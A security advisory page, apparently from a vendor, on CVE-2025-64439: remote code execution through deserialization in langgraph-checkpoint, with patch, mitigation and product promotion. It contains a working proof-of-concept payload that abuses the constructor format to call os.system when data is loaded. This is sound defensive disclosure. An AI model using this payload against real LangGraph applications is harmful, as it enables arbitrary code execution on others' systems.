CVE-2025-64439 — langgraph-checkpoint
Fix: langchain-ai/langgraph@c5744f5CVE-2025-64439 is a Deserialization of Untrusted Data vulnerability in langgraph-checkpoint. A fix is available for langgraph-checkpoint — see the affected versions and patch details below.
LangGraph Checkpoint affected by RCE in "json" mode of JsonPlusSerializer
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-64439.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
langgraph-checkpointReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.
If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.
Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.
If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.
Details
Affected file / component
By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.
When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.
Who is affected
This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:
- Allow untrusted or user-supplied data to be persisted into checkpoints, and
- Use the default serializer (or explicitly instantiate
JsonPlusSerializer) that may fall back to"json"mode.
If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.
Proof of Concept (PoC)
from langgraph.graph import StateGraph
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver
class State(TypedDict):
foo: str
attack: dict
def my_node(state: State):
return {"foo": "oops i fetched a surrogate \ud800"}
with SqliteSaver.from_conn_string("foo.db") as saver:
graph = (
StateGraph(State).
add_node("my_node", my_node).
add_edge("__start__", "my_node").
compile(checkpointer=saver)
)
attack = {
"lc": 2,
"type": "constructor",
"id": ["os", "system"],
"kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
}
malicious_payload = {
"attack": attack,
}
thread_id = "00000000-0000-0000-0000-000000000001"
config = {"thread_id": thread_id}
# Malicious payload is saved in the first call
graph.invoke(malicious_payload, config=config)
# Malicious payload is deserialized and code is executed in the second call
graph.invoke({"foo": "hi there"}, config=config)
Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.
Internally, this exploits the following code path:
from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer
serializer = JsonPlusSerializer() # Used within the checkpointer
serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized) # Executes os.system(...)
Fixed Version
The vulnerability is fixed in langgraph-checkpoint==3.0.0
Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0
Fix Description
The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.
Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.
Mitigation
Upgrade immediately to langgraph-checkpoint==3.0.0.
This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.
In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | langgraph-checkpoint | all versions | 3.0.0pip install --upgrade 'langgraph-checkpoint==3.0.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langgraph-checkpoint, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update langgraph-checkpoint to 3.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-64439 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-64439 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-64439. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-64439 in your dependencies?
O3 Security finds CVE-2025-64439 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.